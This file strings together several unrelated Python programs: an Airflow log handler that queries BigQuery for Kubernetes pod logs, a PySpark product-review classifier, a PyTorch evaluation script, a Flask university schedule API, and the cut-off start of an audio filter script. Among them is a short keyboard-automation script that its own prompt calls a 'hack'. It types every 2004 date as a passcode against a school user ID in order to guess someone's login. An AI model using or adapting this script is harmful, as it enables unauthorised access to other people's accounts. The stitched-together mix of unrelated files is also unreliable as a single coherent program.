        log_relative_path = self._render_filename(ti, try_number + 1)
        remote_loc = os.path.join(self.remote_base, log_relative_path)

        if self.gcs_log_exists(remote_loc):
            # If GCS remote file exists, we do not fetch logs from task instance
            # local machine even if there are errors reading remote logs, as
            # remote_log will contain error message.
            remote_log = self.gcs_read(remote_loc, return_error=True)
            log = '*** Reading remote log from {}.\n{}\n'.format(
                remote_loc, remote_log)
            return log

        # everything above is copied from gcs_task_handler.py, the following elif statement includes changes
        # specifically for bluecore_gcs_task_handler
        elif ti.operator == "KubernetesJobOperator":
            # If remote file is not available and the job is a Kubernetes Job,
            # use the task instance attributes to query BigQuery logs and
            # make the logs available in real time from the "Log" page of the UI.

            # TODO: PROD-19910 job_name is always none on the first try, should fix this so an exception doesn't show each time
            job_name = ti.xcom_pull(task_ids=ti.task_id, key='kubernetes_job_name')
            if job_name is None:
                return "An XCOM kubernetes job_name was not found. This does not mean the job has failed. It is " \
                       "possible that a job_name has not yet been created. Try refreshing the page. "

            pod_output = BQGCSTaskHandler.get_pods(job_name)

            billing_project_id = configuration.get('core', 'kubernetes_bigquery_billing_project')
            client = bigquery.Client(billing_project_id)

            # get info for the BQ table name
            data_project_name = configuration.get('core', 'kubernetes_bigquery_data_project')

            log_lines = []
            # pods[tuple(container_name, pod_name)]
            pods = []

            for pod in pod_output['items']:
                pod_name = pod['metadata']['name']
                for container in pod['spec']['containers']:
                    container_name = container['name']
                    # E.g: (bt-recs-reaper, bt-recs-reaper-6d2f935e5af4512e-fk9tx)
                    pods.append((container_name, pod_name))

            if not pods:
                message = "No pods were found running for this task, and the task's output has not been written to " \
                          "GCS.  If refreshing this page doesn't present a log, it's possible that this task failed " \
                          "to spawn a kubernetes job.\n\n"
                message += json.dumps(pods) + "\n\n"
                try:
                    message += FileTaskHandler._read(self, ti, try_number)
                except:
                    message += "Failed to read airflow worker log!  Stack trace:\n{}".format(traceback.format_exc())
                return message

            query = ("\n UNION ALL \n ".join([
                BQGCSTaskHandler.generate_query(
                    container_id=container_id, pod_id=pod_id, project_id=data_project_name
                ) for container_id, pod_id in pods
            ]) + "\n ORDER BY container_id, pod_id, timestamp")

            try:
                query_job = client.query(query)
                result = query_job.result()
            except BadRequest as e:
                return "BadRequest error from BigQuery. The query may be empty or the job finished. Try refreshing " \
                       "the page. \n {e}".format(e=e)
            except NotFound as e:
                return "NotFound error from BigQuery. Live logs are currently only available in production. Try refreshing " \
                       "or wait until the job is completed. \n {e}".format(e=e)
            except GoogleCloudError as e:
                return "GoogleCloudError error from BigQuery. Try refreshing the page. \n {e}".format(e=e)

            # Row: timestamp; container_id; pod_id; source; severity; message
            # E.g: 2021-06-02 03:15:08.665623 UTC - gke-metrics-agent/gke-metrics-agent-zsfhw - stderr - ERROR - {"ts":16226...
            for _, row in enumerate(result):
                log_lines.append("{} - {}/{} - {} - {} - {}\n".format(
                    row.timestamp, row.container_id, row.pod_id, row.source, row.severity, row.message
                ))
            return "".join(log_lines)

        # else statement taken from gcs_task_handler.py
        else:
            log = super(BQGCSTaskHandler, self)._read(ti, try_number)
            return log

    # append is False if bluecore_bq_gcs.task so that the logs don't print twice
    def gcs_write(self, log, remote_log_location, append=False):
        """
        Writes the log to the remote_log_location. Fails silently if no hook
        was created.
        :param log: the log to write to the remote_log_location
        :type log: string
        :param remote_log_location: the log's location in remote storage
        :type remote_log_location: string (path)
        :param append: if False, any existing log file is overwritten. If True,
            the new log is appended to any existing logs.
        :type append: bool
        """
        if append:
            old_log = self.gcs_read(remote_log_location)
            log = '\n'.join([old_log, log]) if old_log else log

        try:
            bkt, blob = self.parse_gcs_url(remote_log_location)
            from tempfile import NamedTemporaryFile
            with NamedTemporaryFile(mode='w+') as tmpfile:
                tmpfile.write(log)
                # Force the file to be flushed, since we're doing the
                # upload from within the file context (it hasn't been
                # closed).
                tmpfile.flush()
                self.hook.upload(bkt, blob, tmpfile.name)
        except Exception as e:
            self.log.error('Could not write logs to %s: %s', remote_log_location, e)

    @staticmethod
    def get_pods(job_name):
        """
        Return pods for a given job_name

        :param job_name: a unique job name
        :type job_name: string
        :return: result form kubectl command that contains job pod and container information
        :type: dict

        """
        return json.loads(retryable_check_output(
            args=namespaced_kubectl() + ['get', 'pods', '-o', 'json', '-l', 'job-name==%s' % job_name]
        ))

    @staticmethod
    def generate_query(container_id, pod_id, project_id):
        """
        Generates a query for the logs of a pod in the new GKE cluster.
        In most use cases the pod_id is enough, the container_id is used in multi-container jobs.
        E.g: jobs with sidecars.

        :param container_id: name of the container that the logging information is derived from
        :type container_id: string
        :param pod_id: name of the pod that the logging information is derived from
        :type pod_id: string
        :return: string with the query
        """
        return (
            """
            --
            -- Airflow Logging - Pod: {pod_id} - Container: {container_id}
            --
            -- Events:
            SELECT
                timestamp,
                '' as container_id,
                resource.labels.pod_name as pod_id,
                'events' as source,
                severity,
                ifnull(textPayload, jsonPayload.message) as message
            FROM `{project_id}.{dataset_id}.events`
            WHERE resource.labels.pod_name = '{pod_id}'
            UNION ALL
            -- StdOut:
            SELECT
                timestamp,
                resource.labels.container_name as container_id,
                resource.labels.pod_name as pod_id,
                'stdout' as source,
                severity,
                ifnull(textPayload, TO_JSON_STRING(jsonPayload)) as message
            FROM `{project_id}.{dataset_id}.stdout`
            WHERE resource.labels.pod_name = '{pod_id}'
                AND resource.labels.container_name = '{container_id}'
            UNION ALL
            -- StdErr:
            SELECT
                timestamp,
                resource.labels.container_name as container_id,
                resource.labels.pod_name as pod_id,
                'stderr' as source,
                severity,
                ifnull(textPayload, TO_JSON_STRING(jsonPayload)) as message
            FROM `{project_id}.{dataset_id}.stderr`
            WHERE resource.labels.pod_name = '{pod_id}'
                AND resource.labels.container_name = '{container_id}'
            """
        ).format(
            project_id=project_id,
            dataset_id='gke_cluster_logs_airflow_prod',
            pod_id=pod_id,
            container_id=container_id
        )


import keyboard as kb
import time

userid = input(' Enter the School User ID: ')
startmonth = input(' Enter the starting month for the hack. this should be 0 if you want it to run through every month: ')
startingnumber=(int(startmonth)*29)+1

def iteration (passcode):
    time.sleep(0.01)
    #time.sleep(1.3)
    kb.press_and_release('tab')
    kb.write(userid)
    kb.press_and_release('tab')
    kb.write(passcode)
    kb.press_and_release('enter')

def Finddate(DAY, YEAR):
    DAY = int(DAY)
    YEAR = float(YEAR)
    if (YEAR//400 == YEAR/400):
        Y=1
    elif (YEAR//4 == YEAR/4) and (YEAR//100 != YEAR/100):
        Y=1
    else:
        Y=0
    MONTH_LEN   = [31,28,31,30,31,30,31,31,30,31,30,31]
    if Y==0:
        MONTH_LEN=MONTH_LEN
    else:
        MONTH_LEN[1]+=1
    if Y == 0 and (DAY > 365 or DAY < 1):
        import sys
        sys.exit(str(int(YEAR))+" Not a leap year. Day value is greater than 365 or less than 1")
    if Y == 1 and (DAY > 366 or DAY < 1):
        import sys
        sys.exit(str(int(YEAR))+" Leap year. Day value greater than 366 or less than 1")
    for N, M in enumerate(MONTH_LEN):
        if DAY > M:
            DAY = DAY-M
        else:
            M_NUM = N+1
            break
    if len(str(DAY)) == 1:
        DAY = '0' + str(DAY)
    else:
        DAY = str(DAY)
    if len(str(M_NUM)) == 1:
        M_NUM = '0' + str(M_NUM)
    else:
        M_NUM = str(M_NUM)
    return str(int(YEAR)) + M_NUM + DAY

while startingnumber < 367:
    kb.wait('esc')
    date = Finddate(startingnumber,2004)
    print(date)
    iteration(date)
    startingnumber+=1


import multiprocessing
import nltk.corpus
import argparse
import logging as logging
import os
import json
import warnings
import getpass
import findspark

from datetime import datetime
from multiprocessing import Process, Pipe
from nltk.corpus import wordnet as wn
from Memoized import Memoized

findspark.init()

import pyspark
from pyspark.sql import SQLContext, Window
from pyspark.ml.feature import StringIndexer
from pyspark.ml import Pipeline, PipelineModel
from pyspark.sql.functions import col, lower, rand, row_number
from pyspark.ml.feature import RegexTokenizer, StopWordsRemover, CountVectorizer, ChiSqSelector
from pyspark.ml.classification import LogisticRegression
from pyspark.ml.evaluation import MulticlassClassificationEvaluator
from pyspark.ml.tuning import ParamGridBuilder, CrossValidator
from pyspark.sql.types import StructType, StructField, IntegerType, StringType

LOGGER = logging.getLogger()

os.environ['PYSPARK_SUBMIT_ARGS'] = (
    "--repositories http://repo.hortonworks.com/content/groups/public/ "
    "--packages com.hortonworks:shc-core:1.1.1-2.1-s_2.11 "
    " pyspark-shell")

nltk.download('wordnet')

schema = StructType([
    StructField("marketplace", StringType(), True),
    StructField("customer_id", StringType(), True),
    StructField("review_id", StringType(), True),
    StructField("product_id", StringType(), True),
    StructField("product_parent", StringType(), True),
    StructField("product_title", StringType(), True),  # "label" replaces "product_title"
    StructField("product_category", StringType(), True),
    StructField("star_rating", IntegerType(), True),
    StructField("helpful_votes", IntegerType(), True),
    StructField("total_votes", IntegerType(), True),
    StructField("vine", StringType(), True),
    StructField("verified_purchase", StringType(), True),
    StructField("review_headline", StringType(), True),
    StructField("review_body", StringType(), True),
    StructField("review_date", StringType(), True)])

DATA_SOURCE_FORMAT = 'org.apache.spark.sql.execution.datasources.hbase'
CATALOG = {
    "table": {"namespace": "default", "name": "tweets"},
    "rowkey": "row_id",
    "columns": {
        "row_id": {"cf": "rowkey", "col": "row_id", "type": "string"},
        "category": {"cf": "tweet", "col": "category", "type": "string"},
        "contributors": {"cf": "tweet", "col": "contributors", "type": "string"},
        "coordinates": {"cf": "tweet", "col": "coordinates", "type": "string"},
        "created_at": {"cf": "tweet", "col": "created_at", "type": "string"},
        "display_text_range": {"cf": "tweet", "col": "display_text_range", "type": "string"},
        "entities": {"cf": "tweet", "col": "entities", "type": "string"},
        "extended_tweet": {"cf": "tweet", "col": "extended_tweet", "type": "string"},
        "favorite_count": {"cf": "tweet", "col": "favorite_count", "type": "bigint"},
        "favorited": {"cf": "tweet", "col": "favorited", "type": "boolean"},
        "filter_level": {"cf": "tweet", "col": "filter_level", "type": "string"},
        "geo": {"cf": "tweet", "col": "geo", "type": "string"},
        "id": {"cf": "tweet", "col": "id", "type": "bigint"},
        "in_reply_to_screen_name": {"cf": "tweet", "col": "in_reply_to_screen_name", "type": "string"},
        "in_reply_to_status_id": {"cf": "tweet", "col": "in_reply_to_status_id", "type": "string"},
        "in_reply_to_status_id_str": {"cf": "tweet", "col": "in_reply_to_status_id_str", "type": "string"},
        "in_reply_to_user_id": {"cf": "tweet", "col": "in_reply_to_user_id", "type": "string"},
        "in_reply_to_user_id_str": {"cf": "tweet", "col": "in_reply_to_user_id_str", "type": "string"},
        "is_quote_status": {"cf": "tweet", "col": "is_quote_status", "type": "boolean"},
        "lang": {"cf": "tweet", "col": "lang", "type": "string"},
        "place": {"cf": "tweet", "col": "place", "type": "string"},
        "quote_count": {"cf": "tweet", "col": "quote_count", "type": "bigint"},
        "reply_count": {"cf": "tweet", "col": "reply_count", "type": "bigint"},
        "retweet_count": {"cf": "tweet", "col": "retweet_count", "type": "bigint"},
        "retweeted": {"cf": "tweet", "col": "retweeted", "type": "boolean"},
        "source": {"cf": "tweet", "col": "source", "type": "string"},
        "text": {"cf": "tweet", "col": "text", "type": "string"},
        "timestamp_ms": {"cf": "tweet", "col": "timestamp_ms", "type": "bigint"},
        "truncated": {"cf": "tweet", "col": "truncated", "type": "boolean"},
    }
}

# tokenizer = Tokenizer(inputCol="text", outputCol="words")
# cv = CountVectorizer(vocabSize=2**16, inputCol="words", outputCol='cv')
# idf = IDF(inputCol='cv', outputCol="features", minDocFreq=5) #minDocFreq: remove sparse terms
# label_stringIdx = StringIndexer(inputCol = "target", outputCol = "label")
# lr = LogisticRegression(maxIter=100)
# pipeline = Pipeline(stages=[tokenizer, cv, idf, label_stringIdx, lr])
#
# pipelineFit = pipeline.fit(train_set)
# predictions = pipelineFit.transform(val_set)
# accuracy = predictions.filter(predictions.label == predictions.prediction).count() / float(val_set.count())
# roc_auc = evaluator.evaluate(predictions)
#
# print("Accuracy Score: {0:.4f}".format(accuracy))
# print("ROC-AUC: {0:.4f}".format(roc_auc))

class ProductAnalyzer(object):

    def __init__(self, sc: pyspark.SparkContext = None, input_file: str = None, model_prefix: str = None,
                 predictions_prefix: str = None, hdfs_base_url: str = None, category: str = None):
        self._model_prefix = model_prefix
        self._predictions_prefix = predictions_prefix
        self._hdfs_base_url = hdfs_base_url
        self.trigram_model = None
        self.input_tweets = None
        self._source_data = None
        self._preprocess_pipeline = None
        self.predictions = None
        self._fitted_lr_model = None
        self.table_name = None
        self._category = category

        self._sc = sc
        if self._sc:
            self._sqlc = SQLContext(self._sc)
        self._input_file = input_file
        if self._input_file:
            self.load_data()

    @property
    def source_data(self):
        return self._source_data

    def load_data(self):
        LOGGER.warning('Loading {}'.format(self._input_file))
        self._source_data = self._sqlc.read.format('com.databricks.spark.csv').options(header='true',
                                                                                schema=schema,
                                                                                delimiter="\t").load(
            self._input_file).withColumnRenamed('review_body', 'review_body_raw')
        self._source_data = self._source_data \
            .dropna() \
            .drop('marketplace', 'customer_id', 'review_id', 'product_id', 'product_parent', 'product_category',
                  'star_rating', 'helpful_votes', 'total_votes', 'vine', 'verified_purchase', 'review_headline',
                  'review_date') \
            .where('length(review_body_raw)>200') \
            .withColumn("review_body", lower(col("review_body_raw"))) \
            .drop("review_body_raw")
        LOGGER.warning('Loaded {} product reviews from {}.'.format(self._source_data.count(), self._input_file))

    def resample_data(self):
        LOGGER.warning('Resampling data.')
        counts = self._source_data.groupBy('product_title').count().selectExpr("product_title as product_title_tmp",
                                                                               "count as count")
        self._source_data = self._source_data \
            .join(counts, self._source_data.product_title == counts.product_title_tmp) \
            .drop('product_title_tmp') \
            .where("count > 1000")
        min_count = self._source_data.groupBy("product_title").count().agg({"count": "min"}).collect()[0][0]
        # Take a random sample from each product's entries, with a sample size
        # equal to the size of the smallest corpus.
        w = Window.partitionBy(col("product_title")).orderBy(col("rnd_"))

        self._source_data = (self._source_data
                             .withColumn("rnd_", rand())  # Add random numbers column
                             .withColumn("rn_", row_number().over(w))  # Add rowNumber over window
                             .where(col("rn_") <= min_count)  # Take n observations
                             .drop("rn_")  # drop helper columns
                             .drop("rnd_"))

        LOGGER.warning('Resampled down to {} examples per product'.format(min_count))

    @staticmethod
    @Memoized
    def get_stopwords():

        list_adv = []
        list_adj = []
        list_n = []

        for s in wn.all_synsets():
            if s.pos() in ['r']:  # if synset is adverb
                for i in s.lemmas():  # iterate through lemmas for each synset
                    list_adv.append(i.name())
            elif s.pos() in ['a']:
                for i in s.lemmas():  # iterate through lemmas for each synset
                    list_adj.append(i.name())
            elif s.pos() in ['n']:  # if synset is noun
                for i in s.lemmas():  # iterate through lemmas for each synset
                    list_n.append(i.name())
        # remove stop words and irrelevant words
        add_stopwords = ["i", "me", "my", "myself", "we", "our", "ours", "ourselves", "you", "your", "yours",
                         "yourself", "yourselves", "he", "him", "his", "himself", "she", "her", "hers", "herself", "it",
                         "its", "itself", "they", "them", "their", "theirs", "themselves", "what", "which", "who",
                         "whom", "this", "that", "these", "those", "am", "is", "are", "was", "were", "be", "been",
                         "being", "have", "has", "had", "having", "do", "does", "did", "doing", "a", "an", "the", "and",
                         "but", "if", "or", "because", "as", "until", "while", "of", "at", "by", "for", "with", "about",
                         "against", "between", "into", "through", "during", "before", "after", "above", "below", "to",
                         "from", "up", "down", "in", "out", "on", "off", "over", "under", "again", "further", "then",
                         "once", "here", "there", "when", "where", "why", "how", "all", "any", "both", "each", "few",
                         "more", "most", "other", "some", "such", "no", "nor", "not", "only", "own", "same", "so",
                         "than", "too", "very", "s", "t", "can", "will", "just", "don", "should", "now", "ve", "se",
                         "didn", "hasn", "hadn", "hasnt", "isnt", "havent", "although", "despite", "however"]
        add_irrelevantwords = ["poor", "perfect", "good", "excellent", "excelent", "great", "horrible", "cheap",
                               "expensive", "different", "awesome"]
        single_alphabet = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r",
                           "s", "t", "u", "v", "w", "x", "y", "z"]

        # word_filter is a concatenated string of all unnecessary words
        word_filter = add_stopwords + add_irrelevantwords + single_alphabet + list_adv + list_adj
        return StopWordsRemover(inputCol="words", outputCol="filtered").setStopWords(word_filter)

    def build_preprocess_pipeline(self, vocab_size=10000, min_df=5):
        LOGGER.warning("Building preprocessing pipeline.")
        # regular expression tokenizer
        regex_tokenizer = RegexTokenizer(inputCol="review_body", outputCol="words", pattern="[^A-Za-z]+",
                                         toLowercase=True)
        stopwords = ProductAnalyzer.get_stopwords()
        count_vectors = CountVectorizer(inputCol="filtered", outputCol="features", vocabSize=vocab_size, minDF=min_df)
        label_string_idx = StringIndexer(inputCol="product_title", outputCol="label")
        self._preprocess_pipeline = Pipeline(stages=[regex_tokenizer, stopwords, count_vectors, label_string_idx])
        LOGGER.warning("Built preprocessing pipeline.")
        return self._preprocess_pipeline

    def fit_preprocess_pipeline(self, save: bool = True):
        LOGGER.warning("Fitting preprocessing model.")
        if self._preprocess_pipeline:
            pipeline = self._preprocess_pipeline
        else:
            pipeline = self.build_preprocess_pipeline()

        fitted = pipeline.fit(self.source_data)

        if save:
            # ProductAnalyzer.save_model(fitted,
            #                            self._hdfs_base_url + 'models/' +
            #                            self._model_prefix + '_preprocess_pipeline.model')
            ProductAnalyzer.save_model(fitted,
                                       self._hdfs_base_url +
                                       'models/' +
                                       self._model_prefix +
                                       "_" +
                                       self._category +
                                       '_fit_preprocess_pipeline.model')

        self._source_data = fitted.transform(self.source_data).where('label < 10').drop('count', 'words', 'filtered')
        LOGGER.warning("Fitted preprocessing model.")
        return fitted

    @staticmethod
    def run_feature_selection_on(data):
        LOGGER.warning("Running feature selection.")
        selector = ChiSqSelector(numTopFeatures=10, featuresCol="features", outputCol="selectedFeatures",
                                 labelCol="label")

        data = selector.fit(data).transform(data).drop(
            'features').withColumnRenamed('selectedFeatures', 'features')
        LOGGER.warning("Ran feature selection.")
        return data

    def run_feature_selection(self):
        return self.run_feature_selection_on(self._source_data)

    def train(self, train_set, save: bool = True):
        LOGGER.warning("Training.")
        lrt = LogisticRegression(maxIter=20, regParam=0.3, elasticNetParam=0.8)

        param_grid = (ParamGridBuilder()
                      .addGrid(lrt.regParam, [0.1, 0.3, 0.5])  # regularization parameter
                      .addGrid(lrt.elasticNetParam, [0.0, 0.1, 0.2])  # Elastic Net Parameter (Ridge = 0)
                      .build())
        # 5-fold CrossValidator
        cv = CrossValidator(estimator=lrt, estimatorParamMaps=param_grid, evaluator=MulticlassClassificationEvaluator(),
                            numFolds=5)
        self._fitted_lr_model = cv.fit(train_set)
        if save:
            ProductAnalyzer.save_model(self._fitted_lr_model,
                                       self._hdfs_base_url +
                                       'models/' +
                                       self._model_prefix +
                                       "_" +
                                       self._category +
                                       '_fitted_lr.model')
        LOGGER.warning("Training complete.")
        return self._fitted_lr_model

    def load_model(self, fieldname, load_file, klass=PipelineModel):
        LOGGER.warning("Loading model from {} into {}".format(load_file, fieldname))
        setattr(self, fieldname, klass.load(load_file))
        return getattr(self, fieldname)

    @staticmethod
    def save_model(model, save_file):
        model.write().overwrite().save(save_file)

    def validate(self, val_set):
        LOGGER.warning("Validating.")
        evaluator = MulticlassClassificationEvaluator(predictionCol="prediction")
        predictions = self._fitted_lr_model.transform(val_set)
        evaluation = evaluator.evaluate(predictions)
        LOGGER.warning("Validation complete.")
        return evaluation

    def predict(self, data):
        LOGGER.warning("Predicting.")
        predictions = self._fitted_lr_model.transform(data)
        self.predictions = predictions
        return predictions

    def read_table(self, table_name: str):
        LOGGER.warning("Reading from input table {}.".format(table_name))
        catalog = CATALOG
        catalog['table']['name'] = table_name
        self.input_tweets = self._sqlc.read.options(catalog=json.dumps(catalog)).format(DATA_SOURCE_FORMAT).load()
        return self.input_tweets

    def save_predictions(self, predictions=None, table_name: str = None):
        table_name = table_name or self.table_name
        predictions = predictions or self.predictions
        if predictions is None:
            raise ValueError('No predictions provided or saved in the analyzer.')
        if table_name is None:
            raise ValueError('No hbase table_name provided or saved in the analyzer.')
        predictions.select('row_id', 'prediction').write.options(
            catalog=json.dumps(
                {
                    "table": {
                        "namespace": "default",
                        "name": table_name},
                    "rowkey": "row_id",
                    "columns": {
                        "row_id": {
                            "cf": "rowkey", "col": "row_id", "type": "string"
                        },
                        "prediction": {
                            "cf": "tweet", "col": "product", "type": "string"
                        }
                    }
                }),
            newtable=5).format(DATA_SOURCE_FORMAT).save()

def train_val_split(data):
    return data.randomSplit([0.85, 0.15], seed=100)

def run_analyzer(hbase_table, model_prefix, predictions_prefix, inputs, pipe, hdfs_base_url):
    try:
        sc = pyspark.SparkContext()
        sc.setLogLevel("ERROR")
    except ValueError as err:
        warnings.warn("SparkContext already exists in this scope")
        raise err
    analyzer = ProductAnalyzer(sc, inputs[0], model_prefix, predictions_prefix, hdfs_base_url, inputs[2])
    analyzer.resample_data()
    preprocessor = analyzer.build_preprocess_pipeline()
    analyzer.fit_preprocess_pipeline()
    processed_data = analyzer.run_feature_selection()
    train, test = train_val_split(processed_data)
    trained = analyzer.train(train)
    LOGGER.warning('Accuracy: {}'.format(analyzer.validate(test)))
    tweets = analyzer.read_table(hbase_table).where(col('category') == inputs[2])
    preprocessed = preprocessor.fit(tweets).transform(tweets).where(
        'label < 10').drop('count', 'words', 'filtered')
    preprocessed = ProductAnalyzer.run_feature_selection_on(preprocessed)
    predictions = analyzer.predict(preprocessed)
    predictions.show()
    selected = trained.select("product_title", "label")
    distinct_pts = selected.alias('distinct_pts').selectExpr('product_title as predicted_pt',
                                                             'label as lookup_label').distinct()
    predicted_pts = predictions.alias('predicted_pts').select('prediction', 'row_id')
    joined = predicted_pts.join(distinct_pts, predicted_pts.prediction == distinct_pts.lookup_label, 'left')
    joined.orderBy(rand()).show(1000)
    analyzer.save_predictions(
        predictions=joined.drop('prediction').drop('lookup_label').withColumnRenamed('predicted_pt', 'prediction'),
        table_name=hbase_table)
    pipe.send(True)
    pipe.close()

def main(hbase_table, model_prefix, predictions_prefix, reviews_files, process_names, hdfs_base_url, categories):
    process_and_pipes = []
    for p in zip(reviews_files, process_names, categories):
        parent_conn, child_conn = Pipe()
        proc = Process(target=run_analyzer,
                       args=(hbase_table, model_prefix, predictions_prefix, p, child_conn, hdfs_base_url),
                       name=p[1])
        process_and_pipes.append(
            (proc, parent_conn)
        )
        proc.start()
    results = []
    for p in process_and_pipes:
        pipe = p[1]
        proc = p[0]
        results.append(pipe.recv())
        pipe.close()
        proc.join()
    LOGGER.warning('Results: {}'.format(results))
    print("Product Tagging Complete.")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Twitter streamer parameters.')
    parser.add_argument('-l', '--loglevel', help='One of: DEBUG, INFO, WARNING, ERROR, CRITICAL', type=str,
                        default='WARNING')
    parser.add_argument('--logfile', help='Filename to write to. If not specified, write logs to stderr', type=str,
                        default=None)
    parser.add_argument('--hbase_table', help='Name of HBase table to which tweets will be written', type=str,
                        default='20181210_224422_alexdziena_tweets')
    parser.add_argument('--model_prefix', help='Prefix for model filenames', type=str,
                        default='{}_{}_product_analyzer'.format(datetime.now().strftime("%Y%m%d_%H%M%S"),
                                                                getpass.getuser()))
    parser.add_argument('--predictions_prefix', help='Prefix for predictions filenames', type=str,
                        default='{}_{}_product_analyzer'.format(datetime.now().strftime("%Y%m%d_%H%M%S"),
                                                                getpass.getuser()))
    parser.add_argument('--hdfs_base_url', help='Base url for interacting with hdfs', type=str,
                        default='hdfs://big-data-analytics:1234/')
    parser.add_argument('-f', '--reviews_files',
                        help='space delimited list of file paths of product reviews, minimum of one path', nargs='+',
                        type=str)
    parser.add_argument('-n', '--process_names',
                        help=('space delimited list of file of process names, used for model saving filepaths, '
                              'one per review file'),
                        nargs='+',
                        type=str)
    parser.add_argument('-c', '--categories',
                        help=('space delimited list of categories to map to review files, '
                              'one per review file'),
                        nargs='+',
                        type=str)
    args = parser.parse_args()
    loglevel = args.loglevel.upper()
    if args.logfile is None:
        logging.basicConfig(datefmt='%Y-%m-%d %H:%M:%S', format='%(asctime)s %(levelname)-8s %(message)s',
                            level=loglevel)
    else:
        logging.basicConfig(datefmt='%Y-%m-%d %H:%M:%S', format='%(asctime)s %(levelname)-8s %(message)s',
                            filename=args.logfile, level=loglevel)
    LOGGER = multiprocessing.log_to_stderr()
    LOGGER.info(args)
    # hbase_table_prefix = None if str.lower(args.hbase_table_prefix) == 'none' else args.hbase_table_prefix
    main(args.hbase_table, args.model_prefix, args.predictions_prefix, args.reviews_files, args.process_names,
         args.hdfs_base_url, args.categories)


import re
import random
import sys

import torch
import torch.nn as nn
from torch import optim
import torch.nn.functional as F

import data
import model

import timeit

totalt = 0
def evaluate(encoder, classifier, sentence1, sentence2, device):
    global totalt
    with torch.no_grad():
        input1_tensor = [encoder.prepareInput(e, device) for e in sentence1]
        input2_tensor = [encoder.prepareInput(e, device) for e in sentence2]

        input1_length = len(input1_tensor)
        input2_length = len(input2_tensor)

        encoder_hidden = encoder.initHidden(device)
        for ei in range(input1_length):
            _, encoder_hidden = encoder(input1_tensor[ei], encoder_hidden)
        encoded1_tensor = encoder_hidden[-1]

        encoder_hidden = encoder.initHidden(device)
        for ei in range(input2_length):
            _, encoder_hidden = encoder(input2_tensor[ei], encoder_hidden)
        encoded2_tensor = encoder_hidden[-1]

        start = timeit.default_timer()

        classifier_output = classifier(encoded1_tensor, encoded2_tensor)

        stop = timeit.default_timer()
        totalt += stop - start

        return classifier_output

def evaluateRandomly(dataset, encoder, classifier, device):
    correct = 0
    totalWith = {0:0, 1:0}
    correctWith = {0:0, 1:0}
    for pair in dataset:
        #print('>', pair[0])
        #print('>', pair[1])
        output = evaluate(encoder, classifier, pair[0], pair[1], device)
        topv, topi = output.data.topk(1)
        prediction = int(topi.view(1)[0])
        #print('=', pair[2], '|', prediction)
        #print('<',output)
        totalWith[pair[2]] += 1
        if prediction==pair[2]:
            correctWith[pair[2]] += 1
            correct += 1
    print( 'Accuracy: %f' % (float(correct)/float(len(dataset))) )
    print( 'Accuracy 0: %f' % (float(correctWith[0])/float(totalWith[0])),  totalWith[0])
    print( 'Accuracy 1: %f' % (float(correctWith[1])/float(totalWith[1])),  totalWith[1])

if __name__=='__main__':

  #device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
  device = torch.device("cpu")
  print('Loading data')
  print('Including:',sys.argv[2:])
  entries = data.load(sys.argv[1],include=sys.argv[2:])

  #n_iters = 250000
  #dataset = data.balanced(entries, n_iters)
  dataset=entries

  print('Testing')

  encoder1 = torch.load('encoder.pt')
  classifier1 = torch.load('classifier.pt')

  evaluateRandomly(dataset, encoder1, classifier1, device)
  print(totalt)


from flask import Flask, jsonify
import json
from credentials import uib_key
import urllib.request as request
from datetime import date, datetime
from icalendar import Calendar, Event
from os import path
from flask_cors import CORS
import sys

app = Flask(__name__)
app.debug = True
CORS(app)
application = app

config_path = "settings.json"
log_path = "log.txt"

root_api_url = "https://tp.data.uib.no/{}/ws/1.4".format(uib_key)
room_event_url = root_api_url + \
    "/room.php?id={}&fromdate={}&todate={}&lang=no"

calender_events = "http://www.uib.no/nb/node/52181/eventlist.ics?event_types[]=disputation&event_types[]=trial_lecture"

current_date = date.today().strftime("%Y-%m-%d")
current_day_path = "schedules/" + current_date + ".json"

print(current_day_path)

@app.route("/")
def index():
    return sys.version

@app.route("/schedule/")
def hello():

    stored = read_schedule()

    if stored:
        return json.dumps(stored, ensure_ascii=False).encode()

    config = read_file(config_path)

    zones = config["zones"]
    config["timestamp"] = str(current_date)

    for zone in zones.values():
        for room in zone["rooms"]:
            fetch_room_events(room)

    save_schedule(config)
    log()

    return json.dumps(config, ensure_ascii=False).encode()

@app.route("/config/")
def config():
    return json.dumps(read_file(config_path))

@app.route("/disputas/")
def dispute():
    response = request.urlopen(calender_events).read()
    cal = Calendar.from_ical(response)
    events = []
    for element in cal.walk("vevent"):
        if date.today() == element.get("dtstart").dt.date():
            events.append({
                "dtstart": element["DTSTART"].dt.isoformat(),
                "dtend": element["DTEND"].dt.isoformat(),
                "summary": element["SUMMARY"] if "SUMMARY" in element else None,
                "location": element["LOCATION"] if "LOCATION" in element else None
            })

    return json.dumps(events)

def read_file(file_path):
    if not path.exists(file_path):
        return None

    with open(file_path, "r", encoding="utf-8") as input_file:
        return json.load(input_file)

def read_schedule():
    return read_file(current_day_path)

def read_config():
    with open(config_path, "r") as file:
        return json.load(file)

def fetch_room_events(room):
    event_url = room_event_url.format(room["id"], current_date, current_date)
    data = json.loads(request.urlopen(event_url).read())
    room_events = []
    for event in data["events"]:
        room_events.append({k: v for k, v in event.items()
                            if k in ('teaching-method-name', 'coursename', 'dtstart', 'dtend', 'summary')})

    room["events"] = room_events

def save_schedule(data):
    with open(current_day_path, 'w+') as outfile:
        json.dump(data, outfile)

def log():
    with open(log_path, "a+") as log_file:
        log_file.write(current_date + "\n")

if __name__ == "__main__":
    app.run(debug=True)


"""Shelving Filter Cascade with Adjustable Transition Slope and Bandwidth
Frank Schultz, Nara Hahn, Sascha Spors
In: Proc. of 148th AES Convention, Virtual Vienna, May 2020, Paper 10339
http://www.aes.org/e-lib/browse.cfm?elib=20756

slide 4/12

"""

import numpy as np
import matplotlib.pyplot as plt
from matplotlib import cm
from matplotlib.ticker import MultipleLocator
from scipy.signal import sos2zpk
from util import low_shelving_2nd_cascade, shelving_filter_parameters,\
                 shelving_slope_parameters, sosfreqs, db, set_rcparams,\
                 set_outdir

set_rcparams()
outdir = set_outdir()

w0 = 1
BWd = 3
Q = 1 / np.sqrt(2)
Gd = 10 * np.log10(0.5) * BWd
biquad_per_octave = 1
slope = shelving_slope_parameters(BWd=BWd, Gd=Gd)[0]
wl, wh = w0 * 2**(-BWd), w0

# Frequency-domain evaluation
wmin, wmax, num_w = 2**-9.5, 2**4.5, 1000
w = np.logspace(np.log10(wmin), np.log10(wmax), num=num_w)

# Filter design
